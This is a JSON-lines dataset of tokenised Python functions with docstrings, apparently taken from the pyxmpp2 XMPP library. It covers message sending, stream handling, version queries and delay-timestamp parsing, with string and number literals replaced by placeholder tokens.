{"signature": "def send_message(source_jid, password, target_jid, body, subject = None,<EOL>message_type = \"<STR_LIT>\", message_thread = None, settings = None):", "body": "<EOL>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>from locale import getpreferredencoding<EOL>encoding = getpreferredencoding()<EOL>if isinstance(source_jid, str):<EOL><INDENT>source_jid = source_jid.decode(encoding)<EOL><DEDENT>if isinstance(password, str):<EOL><INDENT>password = password.decode(encoding)<EOL><DEDENT>if isinstance(target_jid, str):<EOL><INDENT>target_jid = target_jid.decode(encoding)<EOL><DEDENT>if isinstance(body, str):<EOL><INDENT>body = body.decode(encoding)<EOL><DEDENT>if isinstance(message_type, str):<EOL><INDENT>message_type = message_type.decode(encoding)<EOL><DEDENT>if isinstance(message_thread, str):<EOL><INDENT>message_thread = message_thread.decode(encoding)<EOL><DEDENT><DEDENT>if not isinstance(source_jid, JID):<EOL><INDENT>source_jid = JID(source_jid)<EOL><DEDENT>if not isinstance(target_jid, JID):<EOL><INDENT>target_jid = JID(target_jid)<EOL><DEDENT>msg = Message(to_jid = target_jid, body = body, subject = subject,<EOL>stanza_type = message_type)<EOL>def action(client):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>client.stream.send(msg)<EOL><DEDENT>if settings is None:<EOL><INDENT>settings = XMPPSettings({\"<STR_LIT>\": True, \"<STR_LIT>\": False})<EOL><DEDENT>if password is not None:<EOL><INDENT>settings[\"<STR_LIT:password>\"] = password<EOL><DEDENT>handler = FireAndForget(source_jid, action, settings)<EOL>try:<EOL><INDENT>handler.run()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>handler.disconnect()<EOL>raise<EOL><DEDENT>", "docstring": "Star an XMPP session and send a message, then exit.\n\n    :Parameters:\n        - `source_jid`: sender JID\n        - `password`: sender password\n        - `target_jid`: recipient JID\n        - `body`: message body\n        - `subject`: message subject\n        - `message_type`: message type\n        - `message_thread`: message thread id\n        - `settings`: other settings\n    :Types:\n        - `source_jid`: `pyxmpp2.jid.JID` or `basestring`\n        - `password`: `basestring`\n        - `target_jid`: `pyxmpp.jid.JID` or `basestring`\n        - `body`: `basestring`\n        - `subject`: `basestring`\n        - `message_type`: `basestring`\n        - `settings`: `pyxmpp2.settings.XMPPSettings`", "id": "f15246:m0"}
{"signature": "def run(self):", "body": "self.client.connect()<EOL>self.client.run()<EOL>", "docstring": "Request client connection and start the main loop.", "id": "f15246:c0:m1"}
{"signature": "def disconnect(self):", "body": "self.client.disconnect()<EOL>self.client.run(timeout = <NUM_LIT:2>)<EOL>", "docstring": "Request disconnection and let the main loop run for a 2 more\n        seconds for graceful disconnection.", "id": "f15246:c0:m2"}
{"signature": "@event_handler(AuthorizedEvent)<EOL><INDENT>def handle_authorized(self, event):<DEDENT>", "body": "<EOL>self.action(self.client)<EOL>self.client.disconnect()<EOL>", "docstring": "Send the initial presence after log-in.", "id": "f15246:c0:m3"}
{"signature": "@event_handler(DisconnectedEvent)<EOL><INDENT>def handle_disconnected(self, event):<DEDENT>", "body": "<EOL>return QUIT<EOL>", "docstring": "Quit the main loop upon disconnection.", "id": "f15246:c0:m4"}
{"signature": "def _languages_factory(settings):", "body": "return [settings[\"<STR_LIT>\"]]<EOL>", "docstring": "Make the default value of the :r:`languages setting`.", "id": "f15247:m0"}
{"signature": "def __init__(self, stanza_namespace, stanza_route, handlers,<EOL>settings = None):", "body": "XMLStreamHandler.__init__(self)<EOL>self.lock = threading.RLock()<EOL>if settings is None:<EOL><INDENT>settings = XMPPSettings()<EOL><DEDENT>self.settings = settings<EOL>self.stanza_namespace = stanza_namespace<EOL>self._stanza_namespace_p = \"<STR_LIT>\".format(stanza_namespace)<EOL>self.stanza_route = stanza_route<EOL>self.handlers = handlers<EOL>self._stream_feature_handlers = []<EOL>for handler in handlers:<EOL><INDENT>if isinstance(handler, StreamFeatureHandler):<EOL><INDENT>self._stream_feature_handlers.append(handler)<EOL><DEDENT><DEDENT>self.me = None<EOL>self.peer = None<EOL>self.stream_id = None<EOL>self.initiator = None<EOL>self.features = None<EOL>self.authenticated = False<EOL>self.peer_authenticated = False<EOL>self.tls_established = False<EOL>self.auth_method_used = None<EOL>self.version = None<EOL>self.language = None<EOL>self.peer_language = None<EOL>self.transport = None<EOL>self._input_state = None<EOL>self._output_state = None<EOL>self._element_handlers = {}<EOL>", "docstring": "Initialize StreamBase object\n\n        :Parameters:\n          - `stanza_namespace`: stream's default namespace URI (\"jabber:client\"\n            for client, \"jabber:server\" for server, etc.)\n          - `stanza_route`: object to handle received stanzas\n          - `handlers`: objects to handle the stream events and elements\n          - `settings`: extra settings\n        :Types:\n          - `stanza_namespace`: `unicode`\n          - `stanza_route`: `StanzaRoute`\n          - `settings`: XMPPSettings\n          - `handlers`: `list` of objects", "id": "f15247:c0:m0"}
{"signature": "def initiate(self, transport, to = None):", "body": "with self.lock:<EOL><INDENT>self.initiator = True<EOL>self.transport = transport<EOL>transport.set_target(self)<EOL>if to:<EOL><INDENT>self.peer = JID(to)<EOL><DEDENT>else:<EOL><INDENT>self.peer = None<EOL><DEDENT>if transport.is_connected():<EOL><INDENT>self._initiate()<EOL><DEDENT><DEDENT>", "docstring": "Initiate an XMPP connection over the `transport`.\n\n        :Parameters:\n            - `transport`: an XMPP transport instance\n            - `to`: peer name", "id": "f15247:c0:m1"}
{"signature": "def _initiate(self):", "body": "self._setup_stream_element_handlers()<EOL>self._send_stream_start()<EOL>", "docstring": "Initiate an XMPP connection over a connected `transport`.\n\n        [ called with `lock` acquired ]", "id": "f15247:c0:m2"}
{"signature": "def receive(self, transport, myname):", "body": "with self.lock:<EOL><INDENT>self.transport = transport<EOL>transport.set_target(self)<EOL>self.me = JID(myname)<EOL>self.initiator = False<EOL>self._setup_stream_element_handlers()<EOL><DEDENT>", "docstring": "Receive an XMPP connection over the `transport`.\n\n        :Parameters:\n            - `transport`: an XMPP transport instance\n            - `myname`: local stream endpoint name.", "id": "f15247:c0:m3"}
{"signature": "def _setup_stream_element_handlers(self):", "body": "<EOL>if self.initiator:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>self._element_handlers = {}<EOL>for handler in self.handlers:<EOL><INDENT>if not isinstance(handler, StreamFeatureHandler):<EOL><INDENT>continue<EOL><DEDENT>for _unused, meth in inspect.getmembers(handler, callable):<EOL><INDENT>if not hasattr(meth, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>element_handled = meth._pyxmpp_stream_element_handled<EOL>if element_handled in self._element_handlers:<EOL><INDENT>continue<EOL><DEDENT>if meth._pyxmpp_usage_restriction in (None, mode):<EOL><INDENT>self._element_handlers[element_handled] = meth<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Set up stream element handlers.\n\n        Scans the `handlers` list for `StreamFeatureHandler`\n        instances and updates `_element_handlers` mapping with their\n        methods decorated with @`stream_element_handler`", "id": "f15247:c0:m4"}
{"signature": "def disconnect(self):", "body": "with self.lock:<EOL><INDENT>self.transport.disconnect()<EOL>self._output_state = \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Gracefully close the connection.", "id": "f15247:c0:m5"}
{"signature": "def event(self, event): ", "body": "event.stream = self<EOL>logger.debug(u\"<STR_LIT>\".format(event))<EOL>self.settings[\"<STR_LIT>\"].put(event)<EOL>return False<EOL>", "docstring": "Handle a stream event.\n\n        Called when connection state is changed.\n\n        Should not be called with self.lock acquired!", "id": "f15247:c0:m6"}
{"signature": "def transport_connected(self):", "body": "with self.lock:<EOL><INDENT>if self.initiator:<EOL><INDENT>if self._output_state is None:<EOL><INDENT>self._initiate()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Called when transport has been connected.\n\n        Send the stream head if initiator.", "id": "f15247:c0:m7"}
{"signature": "def close(self):", "body": "self.transport.close()<EOL>", "docstring": "Forcibly close the connection and clear the stream state.", "id": "f15247:c0:m8"}
{"signature": "def stream_start(self, element):", "body": "with self.lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\" + element_to_unicode(element))<EOL>if not element.tag.startswith(STREAM_QNP):<EOL><INDENT>self._send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError(\"<STR_LIT>\")<EOL><DEDENT>if element.tag != STREAM_ROOT_TAG:<EOL><INDENT>self._send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError(\"<STR_LIT>\")<EOL><DEDENT>if self._input_state == \"<STR_LIT>\":<EOL><INDENT>event = StreamRestartedEvent(self.peer)<EOL><DEDENT>else:<EOL><INDENT>event = StreamConnectedEvent(self.peer)<EOL><DEDENT>self._input_state = \"<STR_LIT>\"<EOL>version = element.get(\"<STR_LIT:version>\")<EOL>if version:<EOL><INDENT>try:<EOL><INDENT>major, minor = version.split(\"<STR_LIT:.>\", <NUM_LIT:1>)<EOL>major, minor = int(major), int(minor)<EOL><DEDENT>except ValueError:<EOL><INDENT>self._send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError(\"<STR_LIT>\")<EOL><DEDENT>self.version = (major, minor)<EOL><DEDENT>else:<EOL><INDENT>self.version = (<NUM_LIT:0>, <NUM_LIT:9>)<EOL><DEDENT>if self.version[<NUM_LIT:0>] != <NUM_LIT:1> and self.version != (<NUM_LIT:0>, <NUM_LIT:9>):<EOL><INDENT>self._send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError(\"<STR_LIT>\")<EOL><DEDENT>peer_lang = element.get(XML_LANG_QNAME)<EOL>self.peer_language = peer_lang<EOL>if not self.initiator:<EOL><INDENT>lang = None<EOL>languages = self.settings[\"<STR_LIT>\"]<EOL>while peer_lang:<EOL><INDENT>if peer_lang in languages:<EOL><INDENT>lang = peer_lang<EOL>break<EOL><DEDENT>match = LANG_SPLIT_RE.match(peer_lang)<EOL>if not match:<EOL><INDENT>break<EOL><DEDENT>peer_lang = match.group(<NUM_LIT:0>)<EOL><DEDENT>if lang:<EOL><INDENT>self.language = lang<EOL><DEDENT><DEDENT>if self.initiator:<EOL><INDENT>self.stream_id = element.get(\"<STR_LIT:id>\")<EOL>peer = element.get(\"<STR_LIT>\")<EOL>if peer:<EOL><INDENT>peer = JID(peer)<EOL><DEDENT>if self.peer:<EOL><INDENT>if peer and peer != self.peer:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(peer, self.peer))<EOL><DEDENT><DEDENT>self.peer = peer<EOL><DEDENT>else:<EOL><INDENT>to = element.get(\"<STR_LIT:to>\")<EOL>if to:<EOL><INDENT>to = self.check_to(to)<EOL>if not to:<EOL><INDENT>self._send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError('<STR_LIT>')<EOL><DEDENT>self.me = JID(to)<EOL><DEDENT>peer = element.get(\"<STR_LIT>\")<EOL>if peer:<EOL><INDENT>peer = JID(peer)<EOL><DEDENT>self._send_stream_start(self.generate_id(), stream_to = peer)<EOL>self._send_stream_features()<EOL><DEDENT>self.event(event)<EOL><DEDENT>", "docstring": "Process <stream:stream> (stream start) tag received from peer.\n\n        `lock` is acquired when this method is called.\n\n        :Parameters:\n            - `element`: root element (empty) created by the parser", "id": "f15247:c0:m9"}
{"signature": "def stream_end(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>with self.lock:<EOL><INDENT>self._input_state = \"<STR_LIT>\"<EOL>self.transport.disconnect()<EOL>self._output_state = \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Process </stream:stream> (stream end) tag received from peer.", "id": "f15247:c0:m10"}
{"signature": "def stream_eof(self):", "body": "self.stream_end()<EOL>", "docstring": "Process stream EOF.", "id": "f15247:c0:m11"}
{"signature": "def stream_element(self, element):", "body": "with self.lock:<EOL><INDENT>self._process_element(element)<EOL><DEDENT>", "docstring": "Process first level child element of the stream).\n\n        :Parameters:\n            - `element`: XML element received\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15247:c0:m12"}
{"signature": "def stream_parse_error(self, descr):", "body": "self.send_stream_error(\"<STR_LIT>\")<EOL>raise StreamParseError(descr)<EOL>", "docstring": "Called when an error is encountered in the stream.\n\n        :Parameters:\n            - `descr`: description of the error\n        :Types:\n            - `descr`: `unicode`", "id": "f15247:c0:m13"}
{"signature": "def _send_stream_start(self, stream_id = None, stream_to = None):", "body": "if self._output_state in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>raise StreamError(\"<STR_LIT>\")<EOL><DEDENT>if not self.language:<EOL><INDENT>self.language = self.settings[\"<STR_LIT>\"]<EOL><DEDENT>if stream_to:<EOL><INDENT>stream_to = unicode(stream_to)<EOL><DEDENT>elif self.peer and self.initiator:<EOL><INDENT>stream_to = unicode(self.peer)<EOL><DEDENT>stream_from = None<EOL>if self.me and (self.tls_established or not self.initiator):<EOL><INDENT>stream_from = unicode(self.me)<EOL><DEDENT>if stream_id:<EOL><INDENT>self.stream_id = stream_id<EOL><DEDENT>else:<EOL><INDENT>self.stream_id = None<EOL><DEDENT>self.transport.send_stream_head(self.stanza_namespace,<EOL>stream_from, stream_to,<EOL>self.stream_id, language = self.language)<EOL>self._output_state = \"<STR_LIT>\"<EOL>", "docstring": "Send stream start tag.", "id": "f15247:c0:m14"}
{"signature": "def send_stream_error(self, condition):", "body": "with self.lock:<EOL><INDENT>self._send_stream_error(condition)<EOL><DEDENT>", "docstring": "Send stream error element.\n\n        :Parameters:\n            - `condition`: stream error condition name, as defined in the\n              XMPP specification.", "id": "f15247:c0:m15"}
{"signature": "def _send_stream_error(self, condition):", "body": "if self._output_state is \"<STR_LIT>\":<EOL><INDENT>return<EOL><DEDENT>if self._output_state in (None, \"<STR_LIT>\"):<EOL><INDENT>self._send_stream_start()<EOL><DEDENT>element = StreamErrorElement(condition).as_xml()<EOL>self.transport.send_element(element)<EOL>self.transport.disconnect()<EOL>self._output_state = \"<STR_LIT>\"<EOL>", "docstring": "Same as `send_stream_error`, but expects `lock` acquired.", "id": "f15247:c0:m16"}
{"signature": "def _restart_stream(self):", "body": "self._input_state = \"<STR_LIT>\"<EOL>self._output_state = \"<STR_LIT>\"<EOL>self.features = None<EOL>self.transport.restart()<EOL>if self.initiator:<EOL><INDENT>self._send_stream_start(self.stream_id)<EOL><DEDENT>", "docstring": "Restart the stream as needed after SASL and StartTLS negotiation.", "id": "f15247:c0:m17"}
{"signature": "def _make_stream_features(self):", "body": "features = ElementTree.Element(FEATURES_TAG)<EOL>for handler in self._stream_feature_handlers:<EOL><INDENT>handler.make_stream_features(self, features)<EOL><DEDENT>return features<EOL>", "docstring": "Create the <features/> element for the stream.\n\n        [receving entity only]\n\n        :returns: new <features/> element\n        :returntype: :etree:`ElementTree.Element`", "id": "f15247:c0:m18"}
{"signature": "def _send_stream_features(self):", "body": "self.features = self._make_stream_features()<EOL>self._write_element(self.features)<EOL>", "docstring": "Send stream <features/>.\n\n        [receiving entity only]", "id": "f15247:c0:m19"}
{"signature": "def write_element(self, element):", "body": "with self.lock:<EOL><INDENT>self._write_element(element)<EOL><DEDENT>", "docstring": "Write XML `element` to the stream.\n\n        :Parameters:\n            - `element`: Element node to send.\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15247:c0:m20"}
{"signature": "def _write_element(self, element):", "body": "self.transport.send_element(element)<EOL>", "docstring": "Same as `write_element` but with `lock` already acquired.", "id": "f15247:c0:m21"}
{"signature": "def send(self, stanza):", "body": "with self.lock:<EOL><INDENT>return self._send(stanza)<EOL><DEDENT>", "docstring": "Write stanza to the stream.\n\n        :Parameters:\n            - `stanza`: XMPP stanza to send.\n        :Types:\n            - `stanza`: `pyxmpp2.stanza.Stanza`", "id": "f15247:c0:m22"}
{"signature": "def _send(self, stanza):", "body": "self.fix_out_stanza(stanza)<EOL>element = stanza.as_xml()<EOL>self._write_element(element)<EOL>", "docstring": "Same as `send` but assume `lock` is acquired.", "id": "f15247:c0:m23"}
{"signature": "def _process_element(self, element):", "body": "tag = element.tag<EOL>if tag in self._element_handlers:<EOL><INDENT>handler = self._element_handlers[tag]<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(element, handler))<EOL>handled = handler(self, element)<EOL>if handled:<EOL><INDENT>return<EOL><DEDENT><DEDENT>if tag.startswith(self._stanza_namespace_p):<EOL><INDENT>stanza = stanza_factory(element, self, self.language)<EOL>self.uplink_receive(stanza)<EOL><DEDENT>elif tag == ERROR_TAG:<EOL><INDENT>error = StreamErrorElement(element)<EOL>self.process_stream_error(error)<EOL><DEDENT>elif tag == FEATURES_TAG:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(serialize(element)))<EOL>self._got_features(element)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(serialize(element)))<EOL>logger.debug(\"<STR_LIT>\".format(<EOL>self._element_handlers))<EOL><DEDENT>", "docstring": "Process first level element of the stream.\n\n        The element may be stream error or features, StartTLS\n        request/response, SASL request/response or a stanza.\n\n        :Parameters:\n            - `element`: XML element\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15247:c0:m24"}
{"signature": "def uplink_receive(self, stanza):", "body": "with self.lock:<EOL><INDENT>if self.stanza_route:<EOL><INDENT>self.stanza_route.uplink_receive(stanza)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(u\"<STR_LIT>\".format(stanza))<EOL><DEDENT><DEDENT>", "docstring": "Handle stanza received from the stream.", "id": "f15247:c0:m25"}
{"signature": "def process_stream_error(self, error):", "body": "<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(error.condition_name, error.serialize()))<EOL>", "docstring": "Process stream error element received.\n\n        :Parameters:\n            - `error`: error received\n\n        :Types:\n            - `error`: `StreamErrorElement`", "id": "f15247:c0:m26"}
{"signature": "def check_to(self, to):", "body": "if to != self.me:<EOL><INDENT>return None<EOL><DEDENT>return to<EOL>", "docstring": "Check \"to\" attribute of received stream header.\n\n        :return: `to` if it is equal to `me`, None otherwise.\n\n        Should be overriden in derived classes which require other logic\n        for handling that attribute.", "id": "f15247:c0:m27"}
{"signature": "def generate_id(self):", "body": "<EOL>return unicode(uuid.uuid4())<EOL>", "docstring": "Generate a random and unique stream ID.\n\n        :return: the id string generated.", "id": "f15247:c0:m28"}
{"signature": "def _got_features(self, features):", "body": "self.features = features<EOL>logger.debug(\"<STR_LIT>\")<EOL>handled = self.event(GotFeaturesEvent(self.features))<EOL>logger.debug(\"<STR_LIT>\".format(handled))<EOL>if not handled:<EOL><INDENT>mandatory_handled = []<EOL>mandatory_not_handled = []<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(self._stream_feature_handlers))<EOL>for handler in self._stream_feature_handlers:<EOL><INDENT>ret = handler.handle_stream_features(self, self.features)<EOL>if ret is None:<EOL><INDENT>continue<EOL><DEDENT>elif isinstance(ret, StreamFeatureHandled):<EOL><INDENT>if ret.mandatory:<EOL><INDENT>mandatory_handled.append(unicode(ret))<EOL>break<EOL><DEDENT>break<EOL><DEDENT>elif isinstance(ret, StreamFeatureNotHandled):<EOL><INDENT>if ret.mandatory:<EOL><INDENT>mandatory_not_handled.append(unicode(ret))<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(ret))<EOL><DEDENT><DEDENT>if mandatory_not_handled and not mandatory_handled:<EOL><INDENT>self.send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError(<EOL>u\"<STR_LIT>\"<EOL>+ u\"<STR_LIT:U+0020>\".join(mandatory_not_handled))<EOL><DEDENT><DEDENT>", "docstring": "Process incoming <stream:features/> element.\n\n        [initiating entity only]\n\n        The received features node is available in `features`.", "id": "f15247:c0:m29"}
{"signature": "def is_connected(self):", "body": "return self.transport.is_connected() and self._output_state == \"<STR_LIT>\"<EOL>", "docstring": "Check if stream is is_connected and stanzas may be sent.\n\n        :return: True if stream connection is active.", "id": "f15247:c0:m30"}
{"signature": "def set_peer_authenticated(self, peer, restart_stream = False):", "body": "with self.lock:<EOL><INDENT>self.peer_authenticated = True<EOL>self.peer = peer<EOL>if restart_stream:<EOL><INDENT>self._restart_stream()<EOL><DEDENT><DEDENT>self.event(AuthenticatedEvent(self.peer))<EOL>", "docstring": "Mark the other side of the stream authenticated as `peer`\n\n        :Parameters:\n            - `peer`: local JID just authenticated\n            - `restart_stream`: `True` when stream should be restarted (needed\n              after SASL authentication)\n        :Types:\n            - `peer`: `JID`\n            - `restart_stream`: `bool`", "id": "f15247:c0:m31"}
{"signature": "def set_authenticated(self, me, restart_stream = False):", "body": "with self.lock:<EOL><INDENT>self.authenticated = True<EOL>self.me = me<EOL>if restart_stream:<EOL><INDENT>self._restart_stream()<EOL><DEDENT><DEDENT>self.event(AuthenticatedEvent(self.me))<EOL>", "docstring": "Mark stream authenticated as `me`.\n\n        :Parameters:\n            - `me`: local JID just authenticated\n            - `restart_stream`: `True` when stream should be restarted (needed\n              after SASL authentication)\n        :Types:\n            - `me`: `JID`\n            - `restart_stream`: `bool`", "id": "f15247:c0:m32"}
{"signature": "def fix_in_stanza(self, stanza):", "body": "<EOL>return stanza<EOL>", "docstring": "Fix incoming stanza, setting the implicit fields.\n\n        Used for for servers side of client stream to set proper stanza from.", "id": "f15247:c0:m33"}
{"signature": "def fix_out_stanza(self, stanza):", "body": "<EOL>return stanza<EOL>", "docstring": "Fix outgoing, setting or clearing the implicit fields.\n\n        Used for for client side of client stream to clear the 'from'\n        attribute.", "id": "f15247:c0:m34"}
{"signature": "@property<EOL><INDENT>def auth_properties(self):<DEDENT>", "body": "props = dict(self.settings[\"<STR_LIT>\"])<EOL>if self.transport:<EOL><INDENT>props.update(self.transport.auth_properties)<EOL><DEDENT>props[\"<STR_LIT>\"] = self.me<EOL>props[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>return props<EOL>", "docstring": "Authentication properties of the stream.\n\n        Derived from the transport with 'local-jid' and 'service-type' added.", "id": "f15247:c0:m35"}
{"signature": "def request_software_version(stanza_processor, target_jid, callback,<EOL>error_callback = None):", "body": "stanza = Iq(to_jid = target_jid, stanza_type = \"<STR_LIT>\")<EOL>payload = VersionPayload()<EOL>stanza.set_payload(payload)<EOL>def wrapper(stanza):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>payload = stanza.get_payload(VersionPayload)<EOL>if payload is None:<EOL><INDENT>if error_callback:<EOL><INDENT>error_callback(stanza)<EOL><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>callback(payload)<EOL><DEDENT><DEDENT>stanza_processor.set_response_handlers(stanza, wrapper, error_callback)<EOL>stanza_processor.send(stanza)<EOL>", "docstring": "Request software version information from a remote entity.\n\n    When a valid response is received the `callback` will be handled\n    with a `VersionPayload` instance as its only argument. The object will\n    provide the requested infromation.\n\n    In case of error stanza received or invalid response the `error_callback`\n    (if provided) will be called with the offending stanza (which can\n    be ``<iq type='error'/>`` or ``<iq type='result'>``) as its argument.\n\n    The same function will be called on timeout, with the argument set to\n    `None`.\n\n    :Parameters:\n        - `stanza_processor`: a object used to send the query and handle\n          response. E.g. a `pyxmpp2.client.Client` instance\n        - `target_jid`: the JID of the entity to query\n        - `callback`: function to be called with a valid response\n        - `error_callback`: function to be called on error\n    :Types:\n        - `stanza_processor`: `StanzaProcessor`\n        - `target_jid`: `JID`", "id": "f15248:m0"}
{"signature": "def _os_name_factory(settings):", "body": "<EOL>return u\"<STR_LIT>\".format(platform.system(), platform.release(),<EOL>platform.machine())<EOL>", "docstring": "Factory for the :r:`software_os setting` default.", "id": "f15248:m1"}
{"signature": "def _version_factory(settings):", "body": "<EOL>if \"<STR_LIT>\" not in settings:<EOL><INDENT>return unicode(pyxmpp2_version)<EOL><DEDENT>else:<EOL><INDENT>return u\"<STR_LIT>\".format(pyxmpp2_version)<EOL><DEDENT>", "docstring": "Factory for the :r:`software_version setting` default.", "id": "f15248:m2"}
{"signature": "@iq_get_stanza_handler(VersionPayload)<EOL><INDENT>def handle_version_iq_get(self, stanza):<DEDENT>", "body": "payload = VersionPayload(name = self.settings[\"<STR_LIT>\"],<EOL>version = self.settings[\"<STR_LIT>\"],<EOL>os_name = self.settings[\"<STR_LIT>\"]<EOL>)<EOL>response = stanza.make_result_response()<EOL>response.set_payload(payload)<EOL>return response<EOL>", "docstring": "Handler <iq type=\"get\"/> for a software version query.", "id": "f15248:c1:m1"}
{"signature": "def get_delays(stanza):", "body": "delays=[]<EOL>n=stanza.xmlnode.children<EOL>while n:<EOL><INDENT>if n.type==\"<STR_LIT>\" and get_node_ns_uri(n)==DELAY_NS and n.name==\"<STR_LIT:x>\":<EOL><INDENT>delays.append(Delay(n))<EOL><DEDENT>n=n.next<EOL><DEDENT>delays.sort()<EOL>return delays<EOL>", "docstring": "Get jabber:x:delay elements from the stanza.\n\n    :Parameters:\n        - `stanza`: a, probably delayed, stanza.\n    :Types:\n        - `stanza`: `pyxmpp.stanza.Stanza`\n\n    :return: list of delay tags sorted by the timestamp.\n    :returntype: `list` of `Delay`", "id": "f15249:m0"}
{"signature": "def get_delay(stanza):", "body": "delays=get_delays(stanza)<EOL>if not delays:<EOL><INDENT>return None<EOL><DEDENT>return get_delays(stanza)[<NUM_LIT:0>]<EOL>", "docstring": "Get the oldest jabber:x:delay elements from the stanza.\n\n    :Parameters:\n        - `stanza`: a, probably delayed, stanza.\n    :Types:\n        - `stanza`: `pyxmpp.stanza.Stanza`\n\n    The return value, if not `None`, contains a quite reliable\n    timestamp of a delayed (e.g. from offline storage) message.\n\n    :return: the oldest delay tag of the stanza or `None`.\n    :returntype: `Delay`", "id": "f15249:m1"}
{"signature": "def __init__(self,node_or_datetime,delay_from=None,reason=None,utc=True):", "body": "if isinstance(node_or_datetime,libxml2.xmlNode):<EOL><INDENT>self.from_xml(node_or_datetime)<EOL><DEDENT>else:<EOL><INDENT>if utc:<EOL><INDENT>self.timestamp=node_or_datetime<EOL><DEDENT>else:<EOL><INDENT>self.timestamp=datetime_local_to_utc(node_or_datetime)<EOL><DEDENT>self.delay_from=JID(delay_from)<EOL>self.reason=unicode(reason)<EOL><DEDENT>", "docstring": "Initialize the Delay object.\n\n:Parameters:\n    - `node_or_datetime`: an XML node to parse or the timestamp.\n    - `delay_from`: JID of the entity which adds the delay mark\n      (when `node_or_datetime` is a timestamp).\n    - `reason`: reason of the delay (when `node_or_datetime` is a\n      timestamp).\n    - `utc`: if `True` then the timestamp is assumed to be UTC,\n      otherwise it is assumed to be local time.\n:Types:\n    - `node_or_datetime`: `libxml2.xmlNode` or `datetime.datetime`\n    - `delay_from`: `pyxmpp.JID`\n    - `reason`: `unicode`\n    - `utc`: `bool`", "id": "f15249:c0:m0"}
{"signature": "def from_xml(self,xmlnode):", "body": "if xmlnode.type!=\"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>ns=get_node_ns_uri(xmlnode)<EOL>if ns and ns!=DELAY_NS or xmlnode.name!=\"<STR_LIT:x>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>stamp=xmlnode.prop(\"<STR_LIT>\")<EOL>if stamp.endswith(\"<STR_LIT>\"):<EOL><INDENT>stamp=stamp[:-<NUM_LIT:1>]<EOL><DEDENT>if \"<STR_LIT:->\" in stamp:<EOL><INDENT>stamp=stamp.split(\"<STR_LIT:->\",<NUM_LIT:1>)[<NUM_LIT:0>]<EOL><DEDENT>try:<EOL><INDENT>tm = time.strptime(stamp, \"<STR_LIT>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>tm=tm[<NUM_LIT:0>:<NUM_LIT:8>]+(<NUM_LIT:0>,)<EOL>self.timestamp=datetime.datetime.fromtimestamp(time.mktime(tm))<EOL>delay_from=from_utf8(xmlnode.prop(\"<STR_LIT>\"))<EOL>if delay_from:<EOL><INDENT>try:<EOL><INDENT>self.delay_from = JID(delay_from)<EOL><DEDENT>except JIDError:<EOL><INDENT>raise JIDMalformedProtocolError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.delay_from = None<EOL><DEDENT>self.reason = from_utf8(xmlnode.getContent())<EOL>", "docstring": "Initialize Delay object from an XML node.\n\n        :Parameters:\n            - `xmlnode`: the jabber:x:delay XML element.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`", "id": "f15249:c0:m1"}
{"signature": "def complete_xml_element(self, xmlnode, _unused):", "body": "tm=self.timestamp.strftime(\"<STR_LIT>\")<EOL>xmlnode.setProp(\"<STR_LIT>\",tm)<EOL>if self.delay_from:<EOL><INDENT>xmlnode.setProp(\"<STR_LIT>\",self.delay_from.as_utf8())<EOL><DEDENT>if self.reason:<EOL><INDENT>xmlnode.setContent(to_utf8(self.reason))<EOL><DEDENT>", "docstring": "Complete the XML node with `self` content.\n\n        Should be overriden in classes derived from `StanzaPayloadObject`.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `_unused`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `_unused`: `libxml2.xmlDoc`", "id": "f15249:c0:m2"}
{"signature": "def get_datetime_local(self):", "body": "r=datetime_utc_to_local(self.timestamp)<EOL>return r<EOL>", "docstring": "Get the timestamp as a local time.\n\n        :return: the timestamp of the delay element represented in the local\n          timezone.\n        :returntype: `datetime.datetime`", "id": "f15249:c0:m3"}
